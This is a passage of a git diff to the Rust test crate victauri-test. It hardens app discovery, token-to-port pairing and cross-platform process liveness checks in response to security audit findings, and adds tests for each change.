assert!(!health_status_means_alive(503)); + } + + #[tokio::test] + async fn is_alive_treats_a_rate_limited_server_as_alive() { + // R4-NET1: an unauthenticated /health flood (→ 429) must not make a live app look dead. + let (port, _) = fixed_status_server(429).await; + assert!(client_at(port, false, None).is_alive().await); + let (port, _) = fixed_status_server(503).await; + assert!(!client_at(port, false, None).is_alive().await); + } + #[test] fn sse_response_is_matched_by_id_not_position() { let body = "id: 0\ndata:\n\n\ diff --git a/crates/victauri-test/src/discovery.rs b/crates/victauri-test/src/discovery.rs index 43b91c2c..8fa53e8a 100644 --- a/crates/victauri-test/src/discovery.rs +++ b/crates/victauri-test/src/discovery.rs @@ -2,8 +2,10 @@ //! //! Victauri servers write discovery files to `/victauri//` with //! port, token, and metadata. This module scans those directories and returns -//! the live server(s). Stale directories from dead processes are cleaned up -//! by checking TCP connectivity on the advertised port. +//! the live server(s). A directory is deleted only when its owning process is +//! definitely dead — never merely because its port did not answer a probe (a +//! live-but-busy app writes its entry once, so deleting it would make the app +//! undiscoverable for the rest of its life). use std::path::PathBuf; @@ -13,7 +15,26 @@ use std::path::PathBuf; /// could be pre-created by another user, blocking discovery) — and the legacy /// `/victauri` is still read, subject to the same ownership check, for pre-0.9 plugins. /// Other platforms use `/victauri` (a per-user temp dir). +#[cfg(not(test))] fn discovery_roots() -> Vec { + real_discovery_roots() +} + +/// Unit tests never read (or prune) the machine's REAL discovery directories — a developer's +/// running apps live there. Every discovery path in this crate's unit tests resolves against +/// one private, empty, process-wide root instead. +#[cfg(test)] +fn discovery_roots() -> Vec { + static ROOT: std::sync::OnceLock = std::sync::OnceLock::new(); + vec![ + ROOT.get_or_init(|| tempfile::tempdir().expect("isolated discovery root")) + .path() + .to_path_buf(), + ] +} + +#[cfg_attr(all(test, not(unix)), allow(dead_code))] +fn real_discovery_roots() -> Vec { let legacy = std::env::temp_dir().join("victauri"); #[cfg(unix)] { @@ -69,15 +90,12 @@ fn dir_is_trusted(path: &std::path::Path) -> bool { /// `#![forbid(unsafe_code)]`): exclusively create a file and read back its owner uid. #[cfg(unix)] fn current_euid() -> Option { - use std::sync::atomic::{AtomicU64, Ordering}; - - static NEXT_PROBE: AtomicU64 = AtomicU64::new(0); for _ in 0..16 { - let sequence = NEXT_PROBE.fetch_add(1, Ordering::Relaxed); + // Unpredictable name (R4-DISC2): a guessable `_` name in the shared temp + // dir let another user pre-create every probe path and deny us our own uid. let probe = std::env::temp_dir().join(format!( - ".victauri_uidprobe_{}_{}", - std::process::id(), - sequence + ".victauri_uidprobe_{}", + uuid::Uuid::new_v4().simple() )); if let Some(uid) = uid_from_exclusive_probe(&probe) { return Some(uid); @@ -108,11 +126,6 @@ fn dir_is_trusted(_path: &std::path::Path) -> bool { true } -/// Discover one unambiguous live server, keeping its port and token together. -pub fn scan_discovery_dirs_for_connection() -> Option<(u16, Option)> { - unique_connection(&find_live_servers()) -} - /// Return a discovery token only when exactly one live entry advertises `port`. pub fn scan_discovery_dirs_for_token_on_port(port: u16) -> Option { unique_token_for_port(&find_live_servers(), port) @@ -133,47 +146,141 @@ pub fn scan_discovery_dir_for_pid(pid: u32) -> Option<(u16, Option)> { pub fn configured_port() -> Option { std::env::var("VICTAURI_PORT") .ok() - .and_then(|value| value.parse::().ok()) + .and_then(|value| value.trim().parse::().ok()) .filter(|port| *port != 0) } fn configured_token() -> Option { std::env::var("VICTAURI_AUTH_TOKEN") .ok() - .filter(|token| !token.trim().is_empty()) + .map(|token| token.trim().to_string()) + .filter(|token| !token.is_empty()) +} + +/// The app selector from `VICTAURI_APP` (a Tauri bundle identifier), if set. +pub fn configured_app() -> Option { + std::env::var("VICTAURI_APP") + .ok() + .map(|app| app.trim().to_string()) + .filter(|app| !app.is_empty()) } -/// Resolve a connection without ever pairing a token with a different port. +/// Resolve a connection without ever pairing a token with a different port, falling back +/// to the default port with NO token when discovery cannot pick one app. Prefer +/// [`try_resolve_connection`], which explains an ambiguous or refused resolution. pub fn resolve_connection() -> (u16, Option) { - let explicit_port = configured_port(); - let explicit_token = configured_token(); + try_resolve_connection(None).unwrap_or((DEFAULT_PORT, None)) +} + +/// The port a Victauri app binds when nothing else is configured. +const DEFAULT_PORT: u16 = 7373; + +/// Resolve the endpoint to connect to from `VICTAURI_PORT` / `VICTAURI_AUTH_TOKEN` / +/// `VICTAURI_APP` (or `app`, which overrides `VICTAURI_APP`) and the live discovery entries. +/// +/// # Errors +/// +/// A human-readable explanation when several apps match and nothing selects one, when the +/// selected app is not running, or when an explicit token matches no running app (it is +/// then sent nowhere rather than to whatever process holds the default port). +pub fn try_resolve_connection(app: Option<&str>) -> Result<(u16, Option), String> { + let app = app.map(str::to_string).or_else(configured_app); + let port = configured_port(); + let token = configured_token(); + // Only scan when the answer depends on discovery (an explicit port + token does not). + let servers = if port.is_some() && token.is_some() { + Vec::new() + } else { + find_live_servers() + }; + resolve_from(port, token, app.as_deref(), &servers) +} +/// Pure core of [`try_resolve_connection`]. +fn resolve_from( + explicit_port: Option, + explicit_token: Option, + app: Option<&str>, + servers: &[DiscoveredServer], +) -> Result<(u16, Option), String> { + // An explicit port is the caller naming the endpoint: pair it with the explicit token, + // else with the token of the one live entry on exactly that port. if let Some(port) = explicit_port { - let token = explicit_token.or_else(|| scan_discovery_dirs_for_token_on_port(port)); - return (port, token); + let token = explicit_token.or_else(|| unique_token_for_port(servers, port)); + return Ok((port, token)); } - // A configured token is an explicit credential for the default endpoint. Do not - // send it to an arbitrary auto-discovered server. + let candidates: Vec<&DiscoveredServer> = servers + .iter() + .filter(|server| app.is_none_or(|app| server.matches_app(app))) + .collect(); + + // An explicit token WITHOUT an explicit port (R4-TOK1): it used to be sent to whatever + // listened on 7373 — on a shared machine, a squatter there received it and could replay + // it against the real app. Send it only to the unique live, trusted app whose own + // discovery token IS that token. if let Some(token) = explicit_token { - return (7373, Some(token)); + let owners: Vec<&&DiscoveredServer> = candidates + .iter() + .filter(|server| server.token.as_deref() == Some(token.as_str())) + .collect(); + return match owners.as_slice() { + [owner] => Ok((owner.port, Some(token))), + [] => Err( + "VICTAURI_AUTH_TOKEN is set, but no running Victauri app's discovery entry \ + carries that token, so it was not sent anywhere (without VICTAURI_PORT it \ + would have gone to whatever process holds the default port). Set \ + VICTAURI_PORT to the app's port to use this token explicitly, or unset \ + VICTAURI_AUTH_TOKEN to use the discovered one." + .to_string(), + ), + many => Err(ambiguity_message(many.iter().map(|s| **s))), + }; + } + + match (candidates.as_slice(), app) { + ([one], _) => Ok((one.port, one.token.clone())), + ([], Some(app)) => { + let running = if servers.is_empty() { + " No Victauri app is running.".to_string() + } else { + let labels: Vec = servers.iter().map(DiscoveredServer::label).collect(); + format!(" Running apps:\n {}", labels.join("\n ")) + }; + Err(format!( + "No running Victauri app matches the app selector '{app}' (VICTAURI_APP / \ + --app: an exact bundle identifier or product name).{running}" + )) + } + // Nothing discovered: the legacy default endpoint, with no token. + ([], None) => Ok((DEFAULT_PORT, None)), + (many, _) => Err(ambiguity_message(many.iter().copied())), } +} - scan_discovery_dirs_for_connection().unwrap_or((7373, None)) +/// "Several apps match" — names each as `identifier (port N, pid P)` and how to pick one +/// (the same guidance `victauri bridge` gives). +fn ambiguity_message<'a>(servers: impl Iterator) -> String { + let labels: Vec = servers.map(DiscoveredServer::label).collect(); + format!( + "Multiple Victauri apps are running:\n {}\nSelect one with `--app ` \ + (victauri CLI) or the VICTAURI_APP env var, or pin the port with VICTAURI_PORT.", + labels.join("\n ") + ) } /// Re-resolve the endpoint of a previously discovered client, pinned to its app. /// /// Explicit configuration (`VICTAURI_PORT` / `VICTAURI_AUTH_TOKEN`) is honored exactly -/// as [`resolve_connection`] does — the caller named the endpoint. Otherwise only a live -/// discovery entry whose app `identifier` equals `expected_identifier` is accepted; when -/// the identity is unknown (`None`, e.g. a plugin too old to report one) the single live -/// server is accepted as before. Returns `None` — never the default port — when nothing -/// (or more than one server) matches, so a restarted client cannot silently bind to a -/// different app that happens to hold the shared default port. +/// as [`try_resolve_connection`] does — the caller named the endpoint. Otherwise only a +/// live discovery entry whose app `identifier` equals `expected_identifier` is accepted; +/// when the identity is unknown (`None`, e.g. a plugin too old to report one) the single +/// live server is accepted as before. Returns `None` — never the default port — when +/// nothing (or more than one server) matches, so a restarted client cannot silently bind +/// to a different app that happens to hold the shared default port. pub fn resolve_rediscovery(expected_identifier: Option<&str>) -> Option<(u16, Option)> { if configured_port().is_some() || configured_token().is_some() { - return Some(resolve_connection()); + return try_resolve_connection(expected_identifier).ok(); } select_for_identity(&find_live_servers(), expected_identifier) } @@ -291,7 +398,7 @@ pub fn diagnose_discovery() -> DiscoveryStatus { any_dir = true; // A dead owner process is stale even if the advertised (shared default) port is // reachable — that reachability is a different live app, not this one. - if !is_process_alive(pid) { + if !crate::process::is_own_live_process(pid) { stale.push((pid, port)); continue; } @@ -319,6 +426,32 @@ struct DiscoveredServer { token: Option, /// Tauri app identifier from `metadata.json`, when the plugin recorded one. identifier: Option, + /// Tauri product name from `metadata.json`, when the plugin recorded one. + product_name: Option, +} + +impl DiscoveredServer { + /// An app selector matches the bundle identifier or the product name EXACTLY (ASCII + /// case-insensitive, like `victauri bridge --app`) — never a substring, so `com.example` + /// can't silently bind `com.example.other`. + fn matches_app(&self, app: &str) -> bool { + let is = |field: &Option| { + field + .as_deref() + .is_some_and(|v| v.eq_ignore_ascii_case(app)) + }; + is(&self.identifier) || is(&self.product_name) + } + + /// `identifier (port N, pid P)` — the label `victauri bridge` prints, plus the pid. + fn label(&self) -> String { + let name = self + .identifier + .as_deref() + .or(self.product_name.as_deref()) + .unwrap_or(""); + format!("{name} (port {}, pid {})", self.port, self.pid) + } } fn unique_connection(servers: &[DiscoveredServer]) -> Option<(u16, Option)> { @@ -340,7 +473,7 @@ fn unique_token_for_port(servers: &[DiscoveredServer], port: u16) -> Option Vec { let mut servers: Vec = Vec::new(); for root in discovery_roots() { - for server in find_live_servers_in(&root, is_process_alive, port_is_reachable) { + for server in find_live_servers_in(&root, crate::process::liveness, port_is_reachable) { // A pid already found under a more specific root counts once. if !servers.iter().any(|seen| seen.pid == server.pid) { servers.push(server); @@ -350,21 +483,28 @@ fn find_live_servers() -> Vec { servers } -/// Testable core of [`find_live_servers`]: scan `base`, keep only entries whose OWNING -/// PROCESS is alive and whose advertised port is reachable, and prune the rest. +/// Testable core of [`find_live_servers`]: scan `base` and keep only entries whose OWNING +/// PROCESS is alive and ours, and whose advertised port is reachable. /// /// Liveness is gated on the owning **pid**, not just port reachability — because every /// Victauri app registers on the SAME default port (7373). A crashed app's stale entry /// still advertises 7373, and a *different* live app now holding 7373 makes that port /// probe succeed, so a reachability-only check keeps the dead entry and pairs its stale /// token with the live server → 401. Checking the pid distinguishes them: a dead owner -/// means the entry is stale even when the shared port answers. (The MCP-bridge discovery -/// path already did this; this brings the test/CLI path in line.) +/// means the entry is stale even when the shared port answers. +/// +/// An entry is DELETED only when its owner is definitely dead (R4-DISC1). A live owner +/// whose port did not answer one short probe (busy, still starting, mid-rebuild) is skipped +/// for now but kept — the plugin writes its entry once, so deleting it made a live app +/// undiscoverable for its whole lifetime. An owner whose liveness could not be established +/// (no working `kill`, an unreadable elevated process) is likewise skipped, never deleted. fn find_live_servers_in( base: &std::path::Path, - is_alive: impl Fn(u32) -> bool, + liveness: impl Fn(u32) -> crate::process::Liveness, is_reachable: impl Fn(u16) -> bool, ) -> Vec { + use crate::process::Liveness; + if !dir_is_trusted(base) { return Vec::new(); } @@ -389,42 +529,50 @@ fn find_live_servers_in( if !dir_is_trusted(&path) { continue; } - // A dead owner process means this entry is stale — even if its advertised port is - // reachable, that is a DIFFERENT live app now holding the shared default port, not - // this one. Reachability can't tell them apart, so gate on the pid. - if !is_alive(pid) { - let _ = std::fs::remove_dir_all(&path); - continue; + match liveness(pid) { + Liveness::Own => {} + // Definitely gone: the entry is stale even if its advertised (shared default) + // port answers — that is a DIFFERENT live app. Clean it up. + Liveness::Dead => { + let _ = std::fs::remove_dir_all(&path); + continue; + } + // Alive but not verifiably ours, or unknowable: never use its token, never + // delete it. + _ => continue, } - let port_path = path.join("port"); - let Ok(port_str) = std::fs::read_to_string(&port_path) else { + let Ok(port_str) = std::fs::read_to_string(path.join("port")) else { continue; }; let Ok(port) = port_str.trim().parse::() else { continue; }; - // Live owner but unreachable port = mid-rebuild / not listening yet — not usable now. + // Live owner but unreachable port = busy / not listening yet — not usable NOW, but + // the entry stays for the next scan. if !is_reachable(port) { - let _ = std::fs::remove_dir_all(&path); continue; } let token = std::fs::read_to_string(path.join("token")) .ok() .map(|t| t.trim().to_string()) .filter(|t| !t.is_empty()); - let identifier = std::fs::read_to_string(path.join("metadata.json")) + let metadata = std::fs::read_to_string(path.join("metadata.json")) .ok() - .and_then(|text| serde_json::from_str::(&text).ok()) - .and_then(|meta| { - meta.get("identifier") - .and_then(serde_json::Value::as_str) - .map(str::to_string) - }); + .and_then(|text| serde_json::from_str::(&text).ok()); + let field = |key: &str| { + metadata + .as_ref() + .and_then(|meta| meta.get(key)) + .and_then(serde_json::Value::as_str) + .filter(|v| !v.is_empty()) + .map(str::to_string) + }; servers.push(DiscoveredServer { pid, port, token, - identifier, + identifier: field("identifier"), + product_name: field("product_name"), }); } servers @@ -438,22 +586,16 @@ fn port_is_reachable(port: u16) -> bool { .is_ok() } -/// Whether `pid` is a live process owned by the current user (see [`crate::process`]). -/// Used to prune discovery entries whose owning app has exited even when a different app -/// holds the same shared port. -fn is_process_alive(pid: u32) -> bool { - crate::process::is_own_live_process(pid) -} - #[cfg(test)] mod tests { use super::*; + use crate::process::Liveness; /// Audit N6: the per-user root is scanned first; the legacy shared root is last. #[cfg(unix)] #[test] fn discovery_roots_are_per_user_first() { - let roots = discovery_roots(); + let roots = real_discovery_roots(); let euid = current_euid().unwrap(); assert!(roots.contains(&std::env::temp_dir().join(format!("victauri-{euid}")))); assert_eq!(roots.last(), Some(&std::env::temp_dir().join("victauri"))); @@ -509,6 +651,7 @@ mod tests { port: 7374, token: Some("token-b".to_string()), identifier: None, + product_name: None, }]; assert_eq!( unique_connection(&servers), @@ -524,12 +667,14 @@ mod tests { port: 7373, token: Some("token-a".to_string()), identifier: None, + product_name: None, }, DiscoveredServer { pid: 11, port: 7374, token: Some("token-b".to_string()), identifier: None, + product_name: None, }, ]; assert_eq!( @@ -544,12 +689,14 @@ mod tests { port: 7373, token: Some("old-token".to_string()), identifier: None, + product_name: None, }, DiscoveredServer { pid: 13, port: 7373, token: Some("new-token".to_string()), identifier: None, + product_name: None, }, ]; assert_eq!(unique_token_for_port(&duplicate, 7373), None); @@ -570,7 +717,17 @@ mod tests { std::fs::write(dir.join("token"), token).unwrap(); } // pid 2 alive, pid 1 dead; the shared port answers for both. - let servers = find_live_servers_in(base.path(), |pid| pid == 2, |_port| true); + let servers = find_live_servers_in( + base.path(), + |pid| { + if pid == 2 { + Liveness::Own + } else { + Liveness::Dead + } + }, + |_port| true, + ); assert_eq!( servers.len(), @@ -601,6 +758,7 @@ mod tests { port, token: Some(token.to_string()), identifier: identifier.map(str::to_string), + product_name: None, } } @@ -658,7 +816,7 @@ mod tests { r#"{"pid":77,"port":7380,"identifier":"com.meta.app","product_name":"Meta"}"#, ) .unwrap(); - let servers = find_live_servers_in(base.path(), |_| true, |_| true); + let servers = find_live_servers_in(base.path(), |_| Liveness::Own, |_| true); assert_eq!(servers.len(), 1); assert_eq!(servers[0].identifier.as_deref(), Some("com.meta.app")); assert_eq!( @@ -668,21 +826,143 @@ mod tests { } #[test] - fn live_owner_with_unreachable_port_is_pruned() { - // A live owning process whose port isn't listening yet (mid-rebuild) is not usable now. + fn live_owner_with_unreachable_port_is_skipped_but_kept() { + // A live owning process whose port did not answer one short probe (busy, starting, + // mid-rebuild) is not usable NOW — but its entry must survive: the plugin writes it + // once, so deleting it made the app undiscoverable for its whole life (R4-DISC1). + // (This test used to assert the deletion — that was the bug.) let base = tempfile::tempdir().unwrap(); let dir = base.path().join("4242"); std::fs::create_dir_all(&dir).unwrap(); std::fs::write(dir.join("port"), "7373").unwrap(); std::fs::write(dir.join("token"), "tok").unwrap(); - let servers = find_live_servers_in(base.path(), |_pid| true, |_port| false); + let servers = find_live_servers_in(base.path(), |_pid| Liveness::Own, |_port| false); assert!( servers.is_empty(), "unreachable port => not a usable server" ); assert!( - !base.path().join("4242").exists(), - "the unreachable dir is pruned" + base.path().join("4242").exists(), + "a live app's discovery entry must never be deleted" + ); + // The next scan, once the app answers, finds it. + let servers = find_live_servers_in(base.path(), |_pid| Liveness::Own, |_port| true); + assert_eq!(servers.len(), 1); + } + + #[test] + fn unverifiable_or_unknown_owners_are_neither_used_nor_deleted() { + // R4-DISC1: an alive-but-unreadable owner (elevated app on Windows) or an owner whose + // liveness could not be checked at all (no `kill` binary) must not lose its entry, + // and must not have its token used. + let base = tempfile::tempdir().unwrap(); + for pid in ["10", "11", "12"] { + let dir = base.path().join(pid); + std::fs::create_dir_all(&dir).unwrap(); + std::fs::write(dir.join("port"), "7373").unwrap(); + std::fs::write(dir.join("token"), format!("tok-{pid}")).unwrap(); + } + let servers = find_live_servers_in( + base.path(), + |pid| match pid { + 10 => Liveness::Unverified, + 11 => Liveness::Unknown, + _ => Liveness::OtherUser, + }, + |_| true, + ); + assert!( + servers.is_empty(), + "no token may be used from these entries" + ); + for pid in ["10", "11", "12"] { + assert!(base.path().join(pid).exists(), "entry {pid} must survive"); + } + } + + fn named( + pid: u32, + port: u16, + token: &str, + identifier: &str, + product: &str, + ) -> DiscoveredServer { + DiscoveredServer { + pid, + port, + token: Some(token.to_string()), + identifier: Some(identifier.to_string()), + product_name: Some(product.to_string()), + } + } + + #[test] + fn an_explicit_token_without_a_port_goes_only_to_the_app_that_owns_it() { + // R4-TOK1: VICTAURI_AUTH_TOKEN with no VICTAURI_PORT used to resolve to + // (7373, token) — handing the token to whoever squats the default port. + let servers = vec![ + named(20, 7373, "squatter-sees-nothing", "com.other.app", "Other"), + named(21, 7374, "my-token", "com.mine.app", "Mine"), + ]; + assert_eq!( + resolve_from(None, Some("my-token".into()), None, &servers), + Ok((7374, Some("my-token".to_string()))) + ); + // No running app carries it: refuse (never the default port), and say how to fix. + let err = resolve_from(None, Some("my-token".into()), None, &servers[..1]).unwrap_err(); + assert!(err.contains("VICTAURI_PORT"), "{err}"); + let err = resolve_from(None, Some("my-token".into()), None, &[]).unwrap_err(); + assert!(err.contains("not sent anywhere"), "{err}"); + // Explicit port + explicit token keeps the old behaviour exactly. + assert_eq!( + resolve_from(Some(7373), Some("t".into()), None, &servers), + Ok((7373, Some("t".to_string()))) + ); + } + + #[test] + fn several_live_apps_are_an_error_naming_each_and_how_to_select() { + // R4-CLI1: with two apps and no selector, the CLI silently fell back to + // (7373, no token) and then blamed a 401 on a stale CLI. + let servers = vec![ + named(20, 7373, "a", "com.a.app", "A"), + named(21, 7374, "b", "com.b.app", "B"), + ]; + let err = resolve_from(None, None, None, &servers).unwrap_err(); + assert!(err.contains("com.a.app (port 7373"), "{err}"); + assert!(err.contains("com.b.app (port 7374"), "{err}"); + assert!( + err.contains("VICTAURI_APP") && err.contains("--app"), + "{err}" + ); + assert!(err.contains("VICTAURI_PORT"), "{err}"); + // A selector picks one, by exact identifier or exact product name. + assert_eq!( + resolve_from(None, None, Some("com.b.app"), &servers), + Ok((7374, Some("b".to_string()))) + ); + assert_eq!( + resolve_from(None, None, Some("A"), &servers), + Ok((7373, Some("a".to_string()))) + ); + // Never a substring match. + let err = resolve_from(None, None, Some("com.b"), &servers).unwrap_err(); + assert!(err.contains("No running Victauri app matches"), "{err}"); + // One app, or none, behaves as before. + assert_eq!( + resolve_from(None, None, None, &servers[..1]), + Ok((7373, Some("a".to_string()))) ); + assert_eq!(resolve_from(None, None, None, &[]), Ok((7373, None))); + } + + #[test] + fn duplicate_identifiers_are_ambiguous_not_first_wins() { + let servers = vec![ + named(20, 7373, "a", "com.dup.app", "Dup"), + named(21, 7374, "b", "com.dup.app", "Dup"), + ]; + let err = resolve_from(None, None, Some("com.dup.app"), &servers).unwrap_err(); + assert!(err.contains("pid 20") && err.contains("pid 21"), "{err}"); } } diff --git a/crates/victauri-test/src/lib.rs b/crates/victauri-test/src/lib.rs index f08507b3..3e4bc031 100644 --- a/crates/victauri-test/src/lib.rs +++ b/crates/victauri-test/src/lib.rs @@ -55,6 +55,8 @@ pub use assertions::{ CheckResult, VerifyBuilder, VerifyReport, assert_ipc_called, assert_ipc_called_with, assert_ipc_not_called, }; +#[doc(hidden)] +pub use client::health_status_means_alive; pub use client::{ MemoryStats, PluginInfo, PluginToolInfo, VictauriClient, WaitForBuilder, assert_ipc_healthy, assert_json_eq, assert_json_truthy, assert_no_a11y_violations, assert_performance_budget, diff --git a/crates/victauri-test/src/process.rs b/crates/victauri-test/src/process.rs index 725ed64b..d73c4370 100644 --- a/crates/victauri-test/src/process.rs +++ b/crates/victauri-test/src/process.rs @@ -7,13 +7,55 @@ //! Windows check spawned `tasklist` and substring-matched its output: it failed all three //! (measured 0.5 s per call on an idle machine, up to 40 s filtered by user under load). //! +//! It must also never report a live process as DEAD merely because the check itself could not +//! run: discovery readers delete entries whose owner is dead, and the watchdog fires its +//! recovery command, so a false "dead" destroys a running app's only discovery entry (round-4 +//! audit R4-DISC1: `/bin/kill` does not exist on NixOS/Guix/minimal containers, which made +//! every live PID read dead). [`liveness`] therefore distinguishes "definitely gone" from +//! "could not tell". +//! //! Same-user PID reuse remains a documented residual: discovery liveness is PID-based. +/// What is known about the process that owns a discovery entry. +#[doc(hidden)] +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +#[non_exhaustive] +pub enum Liveness { + /// A live process owned by the current user — its discovery token may be used. + Own, + /// A live process owned by a DIFFERENT account (the PID was recycled). Never send it a + /// token; the entry is not ours to use. + OtherUser, + /// The process exists, but its owner could not be verified — e.g. an elevated app seen + /// from a non-elevated client on Windows. Not trusted for token use, never deleted. + Unverified, + /// The process is definitely not running. + Dead, + /// No liveness mechanism worked, so nothing is known. Treat as "possibly alive": never + /// delete, never trust for a token. + Unknown, +} + +impl Liveness { + /// Only a definitely-dead owner makes a discovery entry safe to delete. + #[must_use] + pub fn is_dead(self) -> bool { + self == Self::Dead + } +} + +/// Liveness of `pid` relative to the current user (see [`Liveness`]). +#[doc(hidden)] +#[must_use] +pub fn liveness(pid: u32) -> Liveness { + imp::liveness(pid) +} + /// Whether `pid` is a live process owned by the current user. #[doc(hidden)] #[must_use] pub fn is_own_live_process(pid: u32) -> bool { - imp::is_own_live_process(pid) + liveness(pid) == Liveness::Own } #[cfg(windows)] @@ -21,13 +63,18 @@ pub fn is_own_live_process(pid: u32) -> bool { mod imp { use std::ffi::c_void; - use windows_sys::Win32::Foundation::{CloseHandle, HANDLE, STILL_ACTIVE}; + use windows_sys::Win32::Foundation::{ + CloseHandle, ERROR_ACCESS_DENIED, ERROR_INVALID_PARAMETER, GetLastError, HANDLE, + STILL_ACTIVE, + }; use windows_sys::Win32::Security::{EqualSid, GetTokenInformation, TOKEN_QUERY, TokenUser}; use windows_sys::Win32::System::Threading::{ GetCurrentProcess, GetExitCodeProcess, OpenProcess, OpenProcessToken, PROCESS_QUERY_LIMITED_INFORMATION, }; + use super::Liveness; + /// Closes a kernel handle on drop. struct Handle(HANDLE); @@ -73,49 +120,172 @@ mod imp { unsafe { *buf.as_ptr().cast::<*mut c_void>() } } - pub(super) fn is_own_live_process(pid: u32) -> bool { + pub(super) fn liveness(pid: u32) -> Liveness { if pid == 0 { - return false; + return Liveness::Dead; } - // SAFETY: plain FFI call; a null return (no such process, or not ours to query) - // is handled below. + // SAFETY: plain FFI call; a null return is classified below. let raw = unsafe { OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, pid) }; if raw.is_null() { - return false; + // SAFETY: reads the calling thread's last-error value; no preconditions. + return match unsafe { GetLastError() } { + // No process with that id. + ERROR_INVALID_PARAMETER => Liveness::Dead, + // It exists, but we may not even open it (a protected / higher-integrity + // process): alive, owner unverifiable. + ERROR_ACCESS_DENIED => Liveness::Unverified, + _ => Liveness::Unknown, + }; } let process = Handle(raw); let mut code = 0u32; // SAFETY: `process.0` is a valid handle; `code` is a valid out-pointer. - if unsafe { GetExitCodeProcess(process.0, &mut code) } == 0 || code != STILL_ACTIVE as u32 { - return false; + if unsafe { GetExitCodeProcess(process.0, &mut code) } == 0 { + return Liveness::Unknown; + } + if code != STILL_ACTIVE as u32 { + return Liveness::Dead; } // SAFETY: the pseudo-handle of the current process needs no closing. let me = unsafe { GetCurrentProcess() }; - let (Some(theirs), Some(ours)) = (token_user(process.0), token_user(me)) else { - return false; + let Some(ours) = token_user(me) else { + return Liveness::Unknown; + }; + // A live process whose token we cannot read (plausibly an elevated app seen from a + // non-elevated client) EXISTS: it must never be reported dead (that deletes its + // discovery entry and fires watchdog recovery), but it is not verified as ours. + let Some(theirs) = token_user(process.0) else { + return Liveness::Unverified; }; // SAFETY: both SIDs point into live TOKEN_USER buffers held above. - unsafe { EqualSid(sid(&theirs), sid(&ours)) != 0 } + if unsafe { EqualSid(sid(&theirs), sid(&ours)) } != 0 { + Liveness::Own + } else { + Liveness::OtherUser + } } } #[cfg(unix)] mod imp { - /// `kill -0` succeeds only for a live process we may signal: our own (unless root). - pub(super) fn is_own_live_process(pid: u32) -> bool { - pid != 0 - && std::process::Command::new("/bin/kill") - .args(["-0", &pid.to_string()]) - .stderr(std::process::Stdio::null()) - .status() - .is_ok_and(|s| s.success()) + use std::path::Path; + use std::process::{Command, Stdio}; + + use super::Liveness; + + /// Where `kill` lives, most common first. NixOS and Guix have no `/bin/kill` or + /// `/usr/bin/kill`; their system profiles are listed explicitly rather than trusting + /// `PATH` (a hijacked `PATH` must not decide where a token goes). + const KILL_CANDIDATES: &[&str] = &[ + "/bin/kill", + "/usr/bin/kill", + "/run/current-system/sw/bin/kill", + "/run/current-system/profile/bin/kill", + ]; + /// Shells whose builtin `kill` is the fallback when no `kill` binary exists (most minimal + /// images still ship `/bin/sh`; NixOS and Guix always provide it). + const SH_CANDIDATES: &[&str] = &[ + "/bin/sh", + "/usr/bin/sh", + "/run/current-system/sw/bin/sh", + "/run/current-system/profile/bin/sh", + ]; + + pub(super) fn liveness(pid: u32) -> Liveness { + liveness_with(pid, KILL_CANDIDATES, SH_CANDIDATES, Path::new("/proc")) + } + + /// Testable core: try a `kill` binary, then a shell's builtin `kill`, then `/proc`. + pub(super) fn liveness_with( + pid: u32, + kill_candidates: &[&str], + sh_candidates: &[&str], + proc_root: &Path, + ) -> Liveness { + // `kill -0 0` signals our process group and a pid above i32::MAX is read as negative + // (`-1` = every process we may signal): neither is a real discovery PID. + if pid == 0 || i32::try_from(pid).is_err() { + return Liveness::Dead; + } + let pid_s = pid.to_string(); + + let signalled = kill_candidates + .iter() + .filter(|p| Path::new(p).is_file()) + .find_map(|kill| run_quietly(Command::new(kill).args(["-0", &pid_s]))) + .or_else(|| { + sh_candidates + .iter() + .filter(|p| Path::new(p).is_file()) + .find_map(|sh| { + // `$1` keeps the pid out of the script text; `kill` is the builtin. + run_quietly(Command::new(sh).args([ + "-c", + "kill -0 \"$1\"", + "victauri-liveness", + &pid_s, + ])) + }) + }); + + match signalled { + // `kill -0` succeeds only for a live process we may signal: our own (unless we + // are root — a documented residual, as before). + Some(true) => Liveness::Own, + // It ran and failed: no such process (ESRCH), or not ours to signal (EPERM, a + // recycled PID). /proc, when present, tells the two apart; either way this is not + // our live app. + Some(false) => match proc_owner(proc_root, pid) { + Some(ProcOwner::Missing) | None => Liveness::Dead, + Some(_) => Liveness::OtherUser, + }, + // No mechanism could run at all: fall back to /proc, else admit we don't know — + // NEVER "dead" (that deletes a live app's entry and fires watchdog recovery). + None => match proc_owner(proc_root, pid) { + Some(ProcOwner::Ours) => Liveness::Own, + Some(ProcOwner::Other) => Liveness::OtherUser, + Some(ProcOwner::Missing) => Liveness::Dead, + None => Liveness::Unknown, + }, + } + } + + /// Run a liveness command with no output; `None` when it could not be spawned. + fn run_quietly(cmd: &mut Command) -> Option { + cmd.stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .status() + .ok() + .map(|s| s.success()) + } + + enum ProcOwner { + Ours, + Other, + Missing, + } + + /// Ownership of `pid` from a procfs mounted at `proc_root`; `None` when there is no + /// usable procfs (e.g. macOS). `/proc/self` is owned by our effective uid. + fn proc_owner(proc_root: &Path, pid: u32) -> Option { + use std::os::unix::fs::MetadataExt; + let me = std::fs::metadata(proc_root.join("self")).ok()?.uid(); + match std::fs::metadata(proc_root.join(pid.to_string())) { + Ok(meta) if meta.uid() == me => Some(ProcOwner::Ours), + Ok(_) => Some(ProcOwner::Other), + Err(e) if e.kind() == std::io::ErrorKind::NotFound => Some(ProcOwner::Missing), + Err(_) => None, + } } } #[cfg(not(any(windows, unix)))] mod imp { - pub(super) fn is_own_live_process(_pid: u32) -> bool { - false + use super::Liveness; + + pub(super) fn liveness(_pid: u32) -> Liveness { + Liveness::Unknown } } @@ -126,6 +296,7 @@ mod tests { #[test] fn the_current_process_is_own_and_live() { assert!(is_own_live_process(std::process::id())); + assert_eq!(liveness(std::process::id()), Liveness::Own); } #[test] @@ -142,13 +313,60 @@ mod tests { child.wait().unwrap(); // `child` still holds its handle, so the PID cannot have been recycled yet. assert!(!is_own_live_process(pid)); + assert!(liveness(pid).is_dead(), "{:?}", liveness(pid)); assert!(!is_own_live_process(0)); } - /// PID 4 is the Windows System process: live, but not ours. + /// PID 4 is the Windows System process: live, but not ours — and, crucially, NOT dead + /// (its token is unreadable to us; an unreadable token means "exists, unverified", the + /// same answer an elevated app gets from a non-elevated client — R4-DISC1). #[cfg(windows)] #[test] fn 